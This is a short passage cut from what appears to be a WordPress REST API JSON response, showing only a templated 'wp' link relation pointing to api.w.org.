:[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}